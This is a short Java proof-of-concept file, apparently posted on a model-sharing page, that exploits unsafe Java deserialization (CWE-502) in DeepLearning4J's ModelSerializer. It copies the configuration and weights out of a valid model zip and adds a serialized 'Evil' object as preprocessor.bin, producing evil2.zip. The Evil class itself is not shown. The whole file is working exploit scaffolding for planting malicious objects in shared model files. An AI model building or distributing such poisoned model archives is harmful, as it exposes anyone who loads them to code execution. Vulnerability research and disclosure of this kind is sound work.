hacnho's picture
DL4J ModelSerializer Java-deser CWE-502 PoC
123f150 verified
Raw
History Blame Contribute Delete
1.37 kB
import java.io.*;
import java.util.zip.*;
public class MakeEvil2 {
public static void main(String[] a) throws Exception {
Evil e = new Evil();
e.note = "served-as-preprocessor.bin";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(e); oos.close();
byte[] preproc = bos.toByteArray();
byte[] cfg=null, coef=null;
try (ZipInputStream zin = new ZipInputStream(new FileInputStream("/tmp/dl4jlab/valid.zip"))) {
ZipEntry z;
while ((z=zin.getNextEntry())!=null) {
ByteArrayOutputStream b=new ByteArrayOutputStream(); byte[] buf=new byte[4096]; int n;
while((n=zin.read(buf))>0) b.write(buf,0,n);
if (z.getName().equals("configuration.json")) cfg=b.toByteArray();
if (z.getName().equals("coefficients.bin")) coef=b.toByteArray();
}
}
try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream("/tmp/dl4jlab/evil2.zip"))) {
zos.putNextEntry(new ZipEntry("configuration.json")); zos.write(cfg); zos.closeEntry();
zos.putNextEntry(new ZipEntry("coefficients.bin")); zos.write(coef); zos.closeEntry();
zos.putNextEntry(new ZipEntry("preprocessor.bin")); zos.write(preproc); zos.closeEntry();
}
System.out.println("WROTE evil2.zip preproc_bytes="+preproc.length);
}
}